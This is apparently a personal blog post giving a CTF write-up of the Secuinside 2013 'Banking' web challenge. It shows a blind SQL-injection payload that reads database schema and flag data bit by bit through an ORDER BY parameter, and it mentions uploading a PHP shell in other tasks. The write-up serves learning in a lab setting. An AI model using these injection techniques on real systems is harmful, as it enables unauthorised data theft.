Sunday, May 26, 2013

Secuinside CTF - Banking write-up

Unfortunately I only had a couple of hours to solve tasks in this year's Secuinside CTF. Banking was a web-based challenge for 300 points. Since the challenge isn't online any more I can't really take pictures and I have to write this from memory.


The application was imitating a bank. You could register an id and pass and transfer money to other account numbers. You could also list other accounts and the amount of money on them. After looking at the source I found out that all of the commands are executed through JavaScript. The script sent POST requests to a PHP page called cmd.php, which returned data in JSON format. There was also a WebSocket used to send/receive JSON data in some cases.

After looking around in the JavaScript file I found a function named listing. This function was used to get a list of the existing account numbers and the amount of money on them. There was an SQLi vulnerability in the second parameter.

I decided to write the exploit in JavaScript. There was a function named handleLoad which opened a WebSocket and added a handler to the onmessage event. I decided to rewrite this function so that the message is logged on the JS console. I created this new handleLoad2 function:
var handleLoad2 = function() {
    ws = new WebSocket("ws://");
    ws.onopen = function(){
        ws_ready = 1;
    ws.onclose = function(){ console.log("closed!"); }
    ws.onmessage = function(evt){ console.log(evt); }
This way I could see the listing function's result directly on the console. Then I made sure there is a vulnerability:
listing("balance", "desc");
This returned all of the accounts in a JSON object.
listing("balance", "desc limit 1,1");
This is where I knew there is a vulnerability

This only returned a single row. Neat, this is clearly vulnerable. All we have to do now is set up a query that blindly reads data from the database.

I created a JS function that reads a single letter from a selected table/schema/column name and finally from the flag itself. To achieve this I modified the handleLoad2 function too because here is where the responses come in from my queries. Here is an example query that I sent in the second parameter of the listing function. This one reads a character (with the index letter_id) from a table_schema value with a given index (limit_id).
var payload = "desc, (select t.table_schema from (select distinct table_schema from information_schema.tables limit " + limit_id + ",1) t where ord(substring(t.table_schema," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";
Then I read the table_schemas and found an interesting one called "flag_db". Inside this schema there was a single table called "flag_tbl" and this had a single column called "flag". Here is the final exploit that reads the flag character by character:

The flag was TheG0d0fGrabs_M4dL1F3.

Other web tasks

I also solved the "secure web" and "secure web revenge" tasks, but these were surprisingly easy. I uploaded a PHP shell and found a user named "dwh300". This user had a file named "flags" in its home folder which was readable and contained the key. The second version was the same except the home folder itself was not listable.

The last web challenge was "The Bank Robber". I found another blind SQLi vulnerability here but there wasn't enough time left to exploit it. The column name in a WHERE clause was injectable but spaces and commenting out the rest of the query were not allowed.

It was a nice CTF. I was in a 2 man team this time and we finished 46th. It's not too bad given that we only had a couple of hours to work on tasks.

No comments:

Post a Comment